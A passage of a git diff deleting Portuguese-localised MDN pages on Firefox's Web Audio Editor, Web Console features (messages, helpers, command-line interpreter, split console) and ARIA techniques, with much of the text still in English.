  • -
- -

Visualizar o gráfico

- -

The Web Audio Editor will now display the graph for the loaded audio context. Here's the graph for the Violent Theremin demo:

- -

You can see that it uses three nodes: an {{domxref ("OscillatorNode")}} as the source, a {{domxref ("GainNode")}} to control the volume, and an {{domxref ("GainNode")}} as the destination.

- -

Ligações para Parâmetros de Áudio

- -
-

Displaying connections to AudioParams is new in Firefox 34.

-
- -

As ligações entre os nodos são exibidas como linhas sólidas. Se, em vez disso, ligou um nodo para uma Parâmetro de Áudio em outro nodo, então a ligação é mostrada como uma linha tracejada entre os nodos, e é etiquetada com o nome de 'AudioParam':

- -

Inspecionar e modificar Nodos de Áudio

- -

If you click on a node, it's highlighted and you get a node inspector on the right hand side. This list the values of that node's AudioParam properties. For example, here's what the OscillatorNode looks like:

- -

With the Violent Theremin demo, the frequency parameter is modified as the user moves the mouse left and right, and you can see this reflected in the node inspector. However, the value isn't updated in real time: you have to click the node again to see the updated value.

- -

If you click on a value in the node inspector you can modify it: press Enter or Tab and the new value takes effect immediately.

- -

Ignorar nodos

- -
-

Novo no Firefox 38.

-
- -

In the pane that shows you the node's details, there's an on/off button:

- -

Click it, and the graph will be modified to bypass this node, so it will no longer have any effect. Nodes that are bypassed are shown with a hatched background:

- -

diff --git a/files/pt-pt/tools/web_console/console_messages/index.html b/files/pt-pt/tools/web_console/console_messages/index.html deleted file mode 100644 index c4e251e0ed..0000000000 --- a/files/pt-pt/tools/web_console/console_messages/index.html +++ /dev/null @@ -1,475 +0,0 @@ ---- -title: Mensagens da Consola -slug: Tools/Web_Console/Console_messages -translation_of: Tools/Web_Console/Console_messages -original_slug: Tools/Consola_da_Web/Mensagens_consola ---- -
{{ToolsSidebar}}

A maior parte da 'Consola da Web' é ocupada pelo painel de exibição de mensagens:

- -

- -

Cada mensgaem é exibida como uma linha separada:

- -

- - - - - - - - - - - - - - - - - - - - - - - - - - - - -
HoraThe time the message was recorded. This is not shown by default: you can opt to see timestamps using a setting in the Toolbox.
Categoria -

Category: this indicates what sort of message this is:

- -
    -
  • Black: Network request
  • -
  • Blue: CSS warning/error/log
  • -
  • Orange: JavaScript warning/error
  • -
  • Red: Security warning/error
  • -
  • Green: Server logs
  • -
  • Light Gray: Console API messages
  • -
  • Dark Gray: input/output from the interactive command line interpreter
  • -
-
TipoFor all messages except network requests and interactive input/output an icon indicating whether it is an error(X), a warning(!) or an informational log message (i).
MensagemThe message itself.
Número de ocorrênciasIf a line that generates a warning or error is executed more than once, it is only logged once and this counter appears to indicate how many times it was encountered.
Nome de ficheiro e número da linha -

For JavaScript, CSS and console API messages the message can be traced to a specific line of code. The console then provides a link to the filename and line number that generated the message.

- -

From Firefox 36, this includes the column number as well.

-
- -

By default, the console is cleared each time you navigate to a new page or reload the current page. To override this behavior, check "Enable persistent logs" in the Settings.

- -

Categorias da mensagem

- -

Rede

- -
-

Network log messages are not shown by default. Use the filtering feature to show them.

-
- -

Network requests are logged with a line that looks like this:

- -

- - - - - - - - - - - - - - - - - - - - - - - - -
HoraThe time the message was recorded.
CategoriaIndicates that the message is an HTTP request.
Método -

The specific HTTP request method.

- -

If the request was made as an XMLHttpRequest, there's an additional note indicating this:

- -

-
URIThe target URI.
ResumoThe HTTP version, status code, and time taken to complete.
- -

Visualização dos detalhes do pedido de rede

- -

If you click on the message, you'll be redirected to the Network panel where the request is selected and more request and response details are shown within the side panel at the right side. In versions prior to Firefox 43 this information was shown in a separate popup.

- -

Starting in Firefox 48, you can access much of this detail inline, without leaving the Web Console. Network request entries get a disclosure arrow next to them. Click this to see:

- -
    -
  • Headers: request and response headers
  • -
  • Response: the response body
  • -
  • Cookies: any cookies that were sent along with the request
  • -
  • Call Stack (new in Firefox 50): for requests initiated by JavaScript, such as XMLHttpRequest or Fetch, you can see the call stack at the point the request was made.
  • -
- -

{{EmbedYouTube("cFlcWzJ9j4I")}}

- -

JS

- -

JavaScript messages look like this:

- -

- -

Hiperligação "Sbaer mais"

- -
Novo no Firefox 49
- -

JavaScript errors contain a "Learn more" link that takes you to the JavaScript error reference containing additional advice for fixing issues:

- -

{{EmbedYouTube("OabJc2QR6o0")}}

- -

Source maps

- -
New in Firefox 50 (but disabled by default)
- -

From Firefox 50, the Web Console understands source maps. This means that if your JavaScript sources are compressed, you can supply a source map for them. Then any messages or errors your source generates will show up in the Web Console with a link back to the original source, not the compressed version.

- -

At the moment source map support is disabled by default. To enable it, visit "about:config", find the preference "devtools.source-map.locations.enabled" and set it to true.

- -

Be aware that support is still experimental. It may have bugs and may slow down console output. Bug 1289570 tracks any work that needs to be done before source map support can be enabled by default.

- -

CSS

- -
-

CSS warnings and reflow messages are not shown by default. Use the filtering feature to show them.

-
- -

CSS messages look like this:

- -

- -

Reflow events

- -

The Web Console also logs reflow events under the CSS category. A reflow is the name given to the operation in which the browser calculates the layout of all or part of the page. Reflows occur when a change has happened to a page that the browser thinks affects the layout. Many events can trigger reflows, including: resizing the browser window, activating pseudoclasses like :hover, or manipulating the DOM in JavaScript.

- -

Because reflows can be computationally expensive and directly affect the user interface, they can have a big impact on the responsiveness of a website or web app. By logging reflow events the Web Console can give you insight into when reflow events are being triggered, how long they take to execute and, if the reflows are synchronous reflows triggered from JavaScript, which code triggered them.

- -

Reflow events are logged as "Reflow" messages, as distinct from CSS errors or warnings. By default, they are disabled. You can enable them by clicking the "CSS" button in the toolbar and selecting "Reflows".

- -

Each message is labeled "reflow" and shows the time taken to execute the reflow:

- -

If the reflow is a synchronous reflow triggered from JavaScript, it also shows a link to the line of code that triggered the reflow:

- -

Click the link to open the file in the Debugger.

- -

Synchronous and asynchronous reflows

- -

If a change is made that invalidates the current layout - for example, the browser window is resized or some JavaScript modifies an element's CSS - the layout is not recalculated immediately. Instead, the reflow happens asynchronously, the next time the browser decides it needs to be done (generally, the next time the browser repaints). In this way the browser can save up a collection of invalidating changes and recalculate their effect at once.

- -

However, if some JavaScript code reads a style that has been modified, then the browser must perform a synchronous reflow in order to calculate the computed style to return. For example, code like this will cause an immediate, synchronous, reflow, when it calls window.getComputedStyle(thing).height:

- -
var thing = document.getElementById("the-thing");
-thing.style.display = "inline-block";
-var thingHeight = window.getComputedStyle(thing).height;
- -

Because of this, it's a good idea to avoid interleaving write and read calls to an element's styles when manipulating the DOM, because every time you read back a style that has been invalidated by a previous write call, you force a synchronous reflow.

- -

Security

- -

Security warnings and errors look like this:

- -

The security messages shown in the Web Console help developers find potential or actual vulnerabilities in their sites. Additionally, many of these messages help educate developers because they end with a “Learn More” link that takes you to a page with background information and advice for mitigating the issue.

- -

The complete list of security messages is as follows:

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
MessageDetails
Blocked loading mixed active contentThe page contained mixed active content: that is, the main page was served over HTTPS, but asked the browser to load "active content", such as scripts, over HTTP. The browser blocked this active content. See Mixed Content for more details.
Blocked loading mixed display contentThe page contained mixed display content: that is, the main page was served over HTTPS, but asked the browser to load "display content", such as images, over HTTP. The browser blocked this display content. See Mixed Content for more details.
Loading mixed (insecure) active content on a secure pageThe page contained mixed active content: that is, the main page was served over HTTPS, but asked the browser to load "active content", such as scripts, over HTTP. The browser loaded this active content. See Mixed Content for more details.
Loading mixed (insecure) display content on a secure pageThe page contained mixed display content: that is, the main page was served over HTTPS, but asked the browser to load "display content", such as images, over HTTP. The browser loaded this display content. See Mixed Content for more details.
This site specified both an X-Content-Security-Policy/Report-Only header and a Content-Security-Policy/Report-Only header. The X-Content-Security-Policy/Report-Only header(s) will be ignored.See Content Security Policy for more details.
The X-Content-Security-Policy and X-Content-Security-Report-Only headers will be deprecated in the future. Please use the Content-Security-Policy and Content-Security-Report-Only headers with CSP spec compliant syntax instead.See Content Security Policy for more details.
Password fields present on an insecure (http://) page. This is a security risk that allows user login credentials to be stolen.Pages containing login forms must be served over HTTPS, not HTTP.
Password fields present in a form with an insecure (http://) form action. This is a security risk that allows user login credentials to be stolen.Forms containing password fields must submit them over HTTPS, not HTTP.
Password fields present on an insecure (http://) iframe. This is a security risk that allows user login credentials to be stolen.iframes containing login forms must be served over HTTPS, not HTTP.
The site specified an invalid Strict-Transport-Security header.See HTTP Strict Transport Security for more details.
-

This site makes use of a SHA-1 Certificate; it's recommended you use certificates with signature algorithms that use hash functions stronger than SHA-1.

-
-

The site uses a certificate whose signature uses the SHA-1 hash algorithm.

- -

SHA-1 is still still widely used in certificates, but it is starting to show its age. Web sites and Certification Authorities are encouraged to switch to stronger hash algorithms in future. See the Weak Signature Algorithm article for more details.

- -

Note that the SHA-1 certificate may not be your site's own certificate, but may be the certificate belonging to a Certification Authority that was used to sign your site's certificate.

-
- -

Bug 863874 is the meta-bug for logging relevant security messages to the Web Console. If you have more ideas for useful features like the ones discussed here, or are interested in contributing, check out the metabug and its dependencies.

- -

Logging

- -
-

Messages logged from Shared Workers, Service Workers, add-ons, and Chrome Workers are not shown by default. Use the filtering feature to show them.

-
- -

The Logging category includes messages logged using the Console API.
-

- -

The Web console supports the following Console API messages:

- - - -

The console prints a stack trace for all error messages, like this:

- -
function foo() {
-  console.error("it explodes");
-}
-
-function bar() {
-  foo();
-}
-
-function doStuff() {
- bar();
-}
-
-doStuff();
- -

- -

Servidor

- -
-

Novo no Firefox 43

-
- -
-

Server-side log messages are not shown by default. Use the filtering feature to show them.

-
- -

From Firefox 43, the Web Console can display messages sent from the server. This enables you to use the Web Console to debug server-side code.

- -

It uses the Chrome Logger protocol. Briefly, the way it works is:

- -
    -
  • your server-side code - Python, PHP, Node.js, ... - includes a library that provides a console API
  • -
  • your server-side code uses this API to log messages
  • -
  • the server-side library creates JSON objects from the messages and encodes them for transmission
  • -
  • the messages are transmitted to the client as a response header named X-ChromeLogger-Data
  • -
  • the Web Console decodes these headers and displays them
  • -
- -

To find a suitable library for your server code, see the Chrome Logger documentation.

- -

Linha de comando - entrada/saída

- -

Commands sent to the browser using the Web Console's command line, and the corresponding responses, are logged using lines like this:

- -

The dark gray bar indicates that these are input/output messages, while the direction of the arrow discriminates between input and output.

- -

Filtering and searching

- -

Filtrar por categoria

- -

You can use the toolbar along the top to constrain the results displayed.

- -

To see only messages of particular categories, click the button labeled with that category ("Net", "CSS", and so on). Clicking the main part of the button toggles that category on or off, while clicking the arrow on the right gives you more fine-grained filter options within that category:

- -
    -
  • Net -
      -
    • Errors
    • -
    • Warnings
    • -
    • XHR
    • -
    • Log
    • -
    -
  • -
  • CSS -
      -
    • Errors
    • -
    • Warnings
    • -
    • Reflows
    • -
    -
  • -
  • JS -
      -
    • Errors
    • -
    • Warnings
    • -
    -
  • -
  • Security -
      -
    • Errors
    • -
    • Warnings
    • -
    -
  • -
  • Logging -
      -
    • Errors
    • -
    • Warnings
    • -
    • Info
    • -
    • Log
    • -
    • Shared Workers
    • -
    • Service Workers
    • -
    • Add-on or Chrome Workers
    • -
    -
  • -
  • Server -
      -
    • Errors
    • -
    • Warnings
    • -
    • info
    • -
    • Log
    • -
    -
  • -
- -

Filtrar por texto

- -

To see only messages that contain a specific string, type in the text box labeled "Filter output".

- -

Limpar o registo de eventos

- -

Finally, you can use this toolbar to clear the log. Before Firefox 48, this is a button labeled "Clear" on the right of the toolbar. From Firefox 48 it's a trashcan icon on the left.

- -
- - - - - -
diff --git a/files/pt-pt/tools/web_console/helpers/index.html b/files/pt-pt/tools/web_console/helpers/index.html deleted file mode 100644 index e139e96a97..0000000000 --- a/files/pt-pt/tools/web_console/helpers/index.html +++ /dev/null @@ -1,143 +0,0 @@ ---- -title: Ajuda da Consola da Web -slug: Tools/Web_Console/Helpers -tags: - - Depuração - - Desenvolvimento da Web - - JavaScript - - consola da Web -translation_of: Tools/Web_Console/Helpers -original_slug: Tools/Consola_da_Web/Ajuda ---- -
{{ToolsSidebar}}
- -

Os comandos

- -

The JavaScript command line provided by the Web Console offers a few built-in helper functions that make certain tasks easier.

- -
-
$(selector, element)
-
-

Looks up a CSS selector string selector , returning the first node descended from element that matches. If unspecified, element defaults to document. Equivalent to {{ domxref("document.querySelector()") }} or calls the $ function in the page, if it exists.

- -

See the QuerySelector code snippet.

-
-
$$(selector, element)
-
Looks up a CSS selector string selector, returning an array of DOM nodes descended from element that match. If unspecified, element defaults to document. This is like for {{ domxref("document.querySelectorAll()") }}, but returns an array instead of a {{ domxref("NodeList") }}.
-
$0
-
The currently-inspected element in the page.
-
$_
-
Stores the result of the last expression executed in the console's command line. For example, if you type "2+2 <enter>", then "$_ <enter>", the console will print 4.
-
$x(xpath, element, resultType)
-
Evaluates the XPath xpath expression in the context of element and returns an array of matching nodes. If unspecified, element defaults to document. The resultType parameter specifies the type of result to return; it can be an XPathResult constant, or a corresponding string: "number", "string", "bool", "node", or "nodes"; if not provided, ANY_TYPE is used.
-
keys()
-
Given an object, returns a list of the keys (or property names) on that object. This is a shortcut for Object.keys.
-
values()
-
Given an object, returns a list of the values on that object; serves as a companion to keys().
-
clear()
-
Clears the console output area.
-
inspect()
-
Given an object, opens the object inspector for that object.
-
pprint()
-
Formats the specified value in a readable way; this is useful for dumping the contents of objects and arrays.
-
help(){{Deprecated_Inline(62)}}
- :help{{Gecko_MinVersion_Inline(62)}}
-
Displays help text. Actually, in a delightful example of recursion, it will bring you to this page.
-
cd()
-
-

Switch JavaScript evaluation context to a different iframe in the page. This helper accepts multiple different ways of identifying the frame to switch to. You can supply any of the following:

- -
    -
  • a selector string that will be passed to document.querySelector to locate the iframe element
  • -
  • the iframe element itself
  • -
  • the content window inside the iframe
  • -
- -

See working with iframes.

-
-
copy()
-
New in Firefox 38. Copy the argument to the clipboard. If the argument is a string, it's copied as-is. If the argument is a DOM node, its outerHTML is copied. Otherwise, JSON.stringify will be called on the argument, and the result will be copied to the clipboard.
-
clearHistory()
-
New in Firefox 39. Just like a normal command line, the console command line remembers the commands you've typed. Use this function to clear the console's command history.
-
:screenshot
-
New in Firefox 62. Create a screenshot of the current page with the supplied filename. If you don't supply a filename, the image file will be named:
-
- Screen Shot yyy-mm-dd at hh.mm.ss.png
-
- The command has the following optional parameters:
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
ComandoTipoDescrição
--clipboardbooleanWhen present, this parameter will cause the screenshot to be copied to the clipboard.
--delaynumberThe number of seconds to delay before taking the screenshot.
--dprnumberThe device pixel ratio to use when taking the screenshot.
--filebooleanWhen present, the screenshot will be saved to a file, even if other options (e.g. --clipboard) are included.
--filenamestringThe name to use in saving the file. The file should have a ".png" extension.
--fullpagebooleanIf included, the full webpage will be saved. With this parameter, even the parts of the webpage which are outside the current bounds of the window will be included in the screenshot. When used, "-fullpage" will be appended to the file name.
--selectorstringThe CSS query selector for a single element on the page. When supplied, only this element will be included in the screenshot.
-
-
- -

Please refer to the Console API for more information about logging from content.

- -

Variáveis

- -
-
tempN
-
The "Use in Console" option in the Inspector generates a variable for a node named temp0, temp1, temp2, etc. referencing the node.
-
- -

Exemplos

- -

Looking at the contents of a DOM node

- -

Let's say you have a DOM node with the ID "title". In fact, this page you're reading right now has one, so you can open up the Web Console and try this right now.

- -

Let's take a look at the contents of that node by using the $() and inspect() functions:

- -
inspect($("#title"))
- -

This automatically opens up the object inspector, showing you the contents of the DOM node that matches the CSS selector "#title", which is of course the element with ID "title".

- -

Dumping the contents of a DOM node

- -

That's well and good if you happen to be sitting at the browser exhibiting some problem, but let's say you're debugging remotely for a user, and need a look at the contents of a node. You can have your user open up the Web Console and dump the contents of the node into the log, then copy and paste it into an email to you, using the pprint() function:

- -
pprint($("#title"))
- -

This spews out the contents of the node so you can take a look. Of course, this may be more useful with other objects than a DOM node, but you get the idea.

diff --git a/files/pt-pt/tools/web_console/index.html b/files/pt-pt/tools/web_console/index.html deleted file mode 100644 index cdffaaa6e3..0000000000 --- a/files/pt-pt/tools/web_console/index.html +++ /dev/null @@ -1,49 +0,0 @@ ---- -title: Consola da Web -slug: Tools/Web_Console -tags: - - Depuração - - Desenvolvimento da Web - - Ferramentas - - Ferramentas Desenvolvimento Web - - Guía - - Segurança - - consola da Web - - l10n:priority -translation_of: Tools/Web_Console -original_slug: Tools/Consola_da_Web ---- -
{{ToolsSidebar}}
- -

A Consola da Web:

- -
    -
  1. Regista a informação associada com a página da Web: pedidos de rede, JavaScript, CSS, erros de segurança e avisos, bem como erro, aviso e mensagens de informação explicitamente registadas pelo código de JavaScript executado no contexto da página
  2. -
  3. Permite-lhe interagir com a página da Web, ao executar as expressões de JavaScript no contexto da página
  4. -
- -

{{EmbedYouTube("C6Cyrpkb25k")}}

- -
-
-
-
Abrir a Consola da Web
-
Como utilizar a Consola da Web.
-
Intérprete da linha de comando
-
Como interagir com um documento, utilizando a Consola.
-
Dividir consola
-
Utilize a Consola com outras ferramentas.
-
-
- -
-
-
Mensagens da consola
-
Detalhes das mensagens dos registos da Consola.
-
Informação Detalhada (Rich Output)
-
Ver e interagir com objetos registados pela Consola.
-
Atalhos do teclado
-
Referência de atalho.
-
-
-
diff --git a/files/pt-pt/tools/web_console/keyboard_shortcuts/index.html b/files/pt-pt/tools/web_console/keyboard_shortcuts/index.html deleted file mode 100644 index 640470ddcd..0000000000 --- a/files/pt-pt/tools/web_console/keyboard_shortcuts/index.html +++ /dev/null @@ -1,15 +0,0 @@ ---- -title: Atalhos de teclado da consola da Web -slug: Tools/Web_Console/Keyboard_shortcuts -translation_of: Tools/Web_Console/Keyboard_shortcuts -original_slug: Tools/Consola_da_Web/Atalhos_teclado ---- -
{{ToolsSidebar}}
- -

{{ Page ("pt-PT/docs/tools/Keyboard_shortcuts", "web-console") }}

- -

Atalhos globais

- -
-

{{ Page ("pt-PT/docs/tools/Keyboard_shortcuts", "all-toolbox-tools") }}

-
diff --git a/files/pt-pt/tools/web_console/rich_output/index.html b/files/pt-pt/tools/web_console/rich_output/index.html deleted file mode 100644 index 5f527034fc..0000000000 --- a/files/pt-pt/tools/web_console/rich_output/index.html +++ /dev/null @@ -1,78 +0,0 @@ ---- -title: Informação Detalhada -slug: Tools/Web_Console/Rich_output -translation_of: Tools/Web_Console/Rich_output -original_slug: Tools/Consola_da_Web/Rich_output ---- -
{{ToolsSidebar}}
- -

Quando a consola da Web imprime objetos, esta inclui um conjunto de informação mais rico do que apenas o nome do objeto. Em particular, esta:

- - - -

Type-specific rich output

- -

The Web Console provides rich output for many object types, including the following:

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Object
Array
Date
Promise -
-

New in Firefox 36

-
- -

-
RegExp
Window
Document
Element
Event
- -

Examining object properties

- -

When an object is logged to the console it appears in italics. Click on it, and you'll see a new panel appear containing details of the object:

- -

To dismiss this panel press Esc..

- -

Highlighting and inspecting DOM nodes

- -

If you hover the mouse over any DOM element in the console output, it's highlighted in the page:

- -

In the screenshot above you'll also see a blue "target" icon next to the node in the console output: click it to switch to the Inspector with that node selected.

diff --git a/files/pt-pt/tools/web_console/split_console/index.html b/files/pt-pt/tools/web_console/split_console/index.html deleted file mode 100644 index 392e342e14..0000000000 --- a/files/pt-pt/tools/web_console/split_console/index.html +++ /dev/null @@ -1,21 +0,0 @@ ---- -title: Dividir consola -slug: Tools/Web_Console/Split_console -translation_of: Tools/Web_Console/Split_console -original_slug: Tools/Consola_da_Web/Dividir_consola ---- -
{{ToolsSidebar}}
- -

Pode utilizar a consola com outras ferramentas. Enquanto estiver noutra ferramenta na «Caixa de Ferramentas», basta pressionar Esc ou clicar no botão "Mostrar dividir consola" na Barra de Ferramentas. A caixa de ferramentas irá aparecer agora dividida, com a ferramenta original por cima e a consola da Web por baixo.

- -

Pode fechar o "dividir consola" pressionando novamente Esc , ou selecioando o comando do menu "Ocultar dividir consola".

- -

- -

{{EmbedYouTube("G2hyxhPHyXo")}}

- -

Como normalmente, $0 funciona como taquigrafia para o elemento atualmente selecionado no Inspetor:

- -

Quando utilizar "dividir consola" com o depurador, o escopo da consola é a execução atual de stack frame. Então, se encontrar um ponto de interrupção numa função, o escopo será a intenção da função. Irá ter o "auto completar" para objetos definidos na função, e pode modificá-los facilmente na hora:

- -

diff --git a/files/pt-pt/tools/web_console/the_command_line_interpreter/index.html b/files/pt-pt/tools/web_console/the_command_line_interpreter/index.html deleted file mode 100644 index 41601ed704..0000000000 --- a/files/pt-pt/tools/web_console/the_command_line_interpreter/index.html +++ /dev/null @@ -1,188 +0,0 @@ ---- -title: O intérprete de inserção (entrada) de JavaScript -slug: Tools/Web_Console/The_command_line_interpreter -tags: - - Depuração - - Desenvolvimento da Web - - consola da Web -translation_of: Tools/Web_Console/The_command_line_interpreter -original_slug: Tools/Consola_da_Web/O_interprete_da_linha_de_comandos ---- -
{{ToolsSidebar}}
- -

You can interpret JavaScript expressions in real time using the interpreter provided by the Web Console. It has two modes: single-line entry and multi-line entry.

- -

Modo de linha única

- -

For single-line entry, you can type JavaScript expressions in the field at the bottom of the console log, at the >> prompt.

- -

The Web Console, showing single-line mode

- -

To enter expressions in single-line mode, type at the prompt and press Enter. To enter multi-line expressions, press Shift+Enter after typing each line, then Enter to run all the entered lines.

- -

The expression you type is echoed under the input prompt, followed by the result.

- -

If your input does not appear to be complete when you press Enter, then the Console treats this as Shift+Enter , enabling you to finish your input.

- -

For example, if you type:

- -
function foo() {
- -

and then Enter, the Console does not immediately execute the input, but behaves as if you had pressed Shift+Enter , so you can finish entering the function definition.

- -

Modo de múltiplas linhas

- -

For multi-line entry, click the "split pane" icon at the right hand side of the single-line entry field, or press  Ctrl+B (Windows/Linux) or Cmd+B (macOS). The multi-line editing pane opens on the left side the of Web Console.

- -

Web Console in multi-line mode

- -

You can enter multiple lines of JavaScript by default in this mode, pressing Enter after each one. To execute the snippet that is currently in the editing pane, click the Run button or press Ctrl+Enter (or Cmd+Return on MacOS). The snippet is echoed under the input prompt (in the right-side pane), followed by the result. You can also select a range of lines in the editing pane, and run just the code on those lines.

- -

Starting in Firefox 76, if the code snippet is more than five lines long, only the first five lines are echoed in the console, preceeded by a disclosure triangle (or "twistie"), and followed by an ellipsis (…). Click anywhere in the area containing the echoed code to show the whole snippet; click again in that area to collapse it.

- -

You can open files when in multi-line mode, and save the current contents of the editing pane to a file.

- -
    -
  • To open a file, press Ctrl+O (Cmd+O on MacOS). A file dialog box opens so you can select the file to open.
  • -
  • To save the contents of the editing pane, press Ctrl+S (Cmd+S on MacOS). A file dialog box opens so you can specify the location to save to.
  • -
- -

To switch back to single-line mode, click the X icon at the top of the multi-line editing pane, or press  Ctrl+B (Windows/Linux) or Cmd+B (MacOS).

- -

Aceder às variáveis

- -

You can access variables defined in the page, both built-in variables like window and variables added by JavaScript libraries like jQuery:

- -

- -

Auto completar

- -

The editor has autocomplete: enter the first few letters and a popup appears with possible completions:

- -

- -

Press  Enter, Tab, or the right arrow key to accept the suggestion, use the up/down arrows to move to a different suggestion, or just keep typing if you don't like any of the suggestions.

- -

Console autocomplete suggestions are case-insensitive.

- -

The console suggests completions from the scope of the currently executing stack frame. This means that if you've hit a breakpoint in a function you get autocomplete for objects local to the function.

- -

You get autocomplete suggestions for array elements, as well:

- -

- -

You can enable or disable autocompletion via the Settings ("gear") menu in the Web Console toolbar. The menuitem Enable Autocompletion has a checkmark next to it when the feature is enabled, which is missing when it is disabled. Select the menuitem to change the state.

- -

Avaliação instantânea

- -
-

This feature is available in Firefox Nightly, in versions labeled 74 and later.

-
- -

When the "instant evaluation" feature is enabled, the interpreter displays results of expressions as you're typing them in single-line mode. Note that the result might be an error message. Expressions that have side effects are not evaluated.

- -

You can enable or disable instant evaluation via the Settings ("gear") menu in the Web Console toolbar. The menuitem Instant Evaluation has a checkmark next to it when the feature is enabled, which is missing when it is disabled. Select the menuitem to change the state.

- -

Contexto de execução

- -

Code that you have executed becomes part of the execution context, regardless of what editing mode you were in when you executed it. For example, if you type a function definition in the multi-line editor, and click Run, you can switch to single-line mode and still use your function.

- -

Sintaxe realçada

- -

Console output showing syntax highlighting

- -

The text you enter has syntax highlighting as soon as you have typed enough for the highlighter to parse it and infer the meanings of the "words".

- -

The output is highlighted as well where appropriate.

- -
-

Nota: Syntax highlighting is not visible in your browser if Accessibility features have been enabled.

-
- -

Histórico de execução

- -

The interpreter remembers expressions you've typed. To move back and forward through your history:

- -
    -
  • In single-line mode, use the up and down arrows. 
  • -
  • In multi-line mode, use the  and icons in the editing panel's toolbar.
  • -
- -

The expression history is persisted across sessions. To clear the history, use the clearHistory() helper function.

- -

You can initiate a reverse search through the expression history, much like you can in bash on Linux and Mac or PowerShell on Windows. On Windows and Linux press F9. On Mac press Ctrl+R (note: not Cmd+R!) to initiate the reverse search.

- -

- -

Enter the text you want to search for in the input box at the bottom of the Console. Start typing part of the expression you are looking for and the first match is displayed in the console. Repeatedly typing F9 on Windows and Linux ( Ctrl+R on Mac) cycles backwards through the matches.

- -

- -

Once you  have initiated the reverse search, you can use Shift + F9 on Windows or Linux ( Ctrl+S on Mac) to search forward in the list of matches. You can also use the  and icons in the expression search bar.

- -

When you find the expression you want, press Enter (Return) to execute the statement.

- -

Trabalhar com iframes

- -

If a page contains embedded iframes, you can use the cd() function to change the console's scope to a specific iframe, and then you can execute functions defined in the document hosted by that iframe. There are three ways to select an iframe using cd():

- -

You can pass the iframe DOM element:

- -
var frame = document.getElementById("frame1");
-cd(frame);
- -

You can pass a CSS selector that matches the iframe:

- -
cd("#frame1");
- -

You can pass the iframe's global window object:

- -
var frame = document.getElementById("frame1");
-cd(frame.contentWindow);
-
- -

To switch the context back to the top-level window, call cd() with no arguments:

- -
cd();
- -

For example, suppose we have a document that embeds an iframe:

- -
<!DOCTYPE html>
-<html>
-  <head>
-    <meta charset="UTF-8">
-  </head>
-  <body>
-    <iframe id="frame1" src="static/frame/my-frame1.html"></iframe>
-  </body>
-</html>
- -

The iframe defines a new function:

- -
<!DOCTYPE html>
-<html>
-  <head>
-    <meta charset="UTF-8">
-    <script>
-      function whoAreYou() {
-        return "I'm frame1";
-      }
-   </script>
-  </head>
-  <body>
-  </body>
-</html>
- -

You can switch context to the iframe like this:

- -
cd("#frame1");
- -

Now you'll see that the global window's document is the iframe:

- -

And you can call the function defined in the iframe:

- -

- -

Comando da Ajuda

- -

{{ page("docs/Tools/Consola_da_Web/Ajuda", "Os comandos") }}

diff --git a/files/pt-pt/tools/web_console/ui_tour/index.html b/files/pt-pt/tools/web_console/ui_tour/index.html deleted file mode 100644 index 0a56f6b96f..0000000000 --- a/files/pt-pt/tools/web_console/ui_tour/index.html +++ /dev/null @@ -1,28 +0,0 @@ ---- -title: Abrir a Consola da Web -slug: Tools/Web_Console/UI_Tour -tags: - - consola da Web -translation_of: Tools/Web_Console/UI_Tour -original_slug: Tools/Consola_da_Web/Abertura_Consola_Web ---- -
{{ToolsSidebar}}
- -

Para abrir a 'Consola da Web':

- -
    -
  • either select "Web Console" from the Web Developer submenu in the Firefox Menu (or Tools menu if you display the menu bar or are on Mac OS X)
  • -
  • or press the CtrlShiftK (CommandOptionK on OS X) keyboard shortcut.
  • -
- -

The Toolbox will appear at the bottom of the browser window, with the Web Console activated (it's just called "Console" in the DevTools toolbar):

- -

- -

A interface da 'Consola da Web' é dividida em três secções horizontais:

- -
    -
  • Toolbar: along the top is a toolbar containing two buttons. Click the garbage can button to clear the contents of the console. Click the funnel icon to filter the message that are displayed in the console
  • -
  • Command Line: the command line starts with double angle brackets (>>). Use it to enter JavaScript expressions
  • -
  • Message Display Pane: the messages generated by the code in the page and by the commands entered on the command line are displayed following each command
  • -
diff --git a/files/pt-pt/web/accessibility/aria/aria_techniques/index.html b/files/pt-pt/web/accessibility/aria/aria_techniques/index.html deleted file mode 100644 index 34fa824f8c..0000000000 --- a/files/pt-pt/web/accessibility/aria/aria_techniques/index.html +++ /dev/null @@ -1,215 +0,0 @@ ---- -title: 'Using ARIA: Roles, states, and properties' -slug: Web/Accessibility/ARIA/ARIA_Techniques -tags: - - ARIA - - Accessibility - - NeedsTranslation - - Overview - - Reference - - TopicStub -translation_of: Web/Accessibility/ARIA/ARIA_Techniques ---- -

ARIA defines semantics that can be applied to elements, with these divided into roles (defining a type of user interface element) and states and properties that are supported by a role. Authors must assign an ARIA role and the appropriate states and properties to an element during its life-cycle, unless the element already has appropriate ARIA semantics (via use of an appropriate HTML element). Addition of ARIA semantics only exposes extra information to a browser's accessibility API, and does not affect a page's DOM.

- -

Roles

- -

Widget roles

- -
- -
- -

Composite roles

- -

The techniques below describe each composite role as well as their required and optional child roles.

- -
- -
- -

Document structure roles

- -
- -
- -

Landmark roles

- - - -

Live Region Roles

- -
- -
- -

Window Roles

- -
- -
- -

States and properties

- -

Widget attributes

- -
- -
- -

Live region attributes

- -
- -
- -

Drag & drop attributes

- -
-
    -
  • aria-dropeffect
  • -
  • aria-dragged
  • -
-
- -

Relationship attributes

- -
- -
- -

MicrosoftEdge-specific properties

- -
- -
diff --git a/files/pt-pt/web/accessibility/aria/aria_techniques/using_the_status_role/index.html b/files/pt-pt/web/accessibility/aria/aria_techniques/using_the_status_role/index.html deleted file mode 100644 index 300b0906fc..0000000000 --- a/files/pt-pt/web/accessibility/aria/aria_techniques/using_the_status_role/index.html +++ /dev/null @@ -1,83 +0,0 @@ ---- -title: Utilizar o role status -slug: Web/Accessibility/ARIA/ARIA_Techniques/Using_the_status_role -tags: - - ARIA - - Acessibilidade - - RequerConteúdo -translation_of: Web/Accessibility/ARIA/ARIA_Techniques/Using_the_status_role -original_slug: Web/Accessibility/ARIA/ARIA_Techniques/Usando_o_role_status ---- -

Descrição

- -

Esta técnica demonstra como usar o role status, e descreve ainda o seu impacto em browsers e tecnologia assistiva.

- -

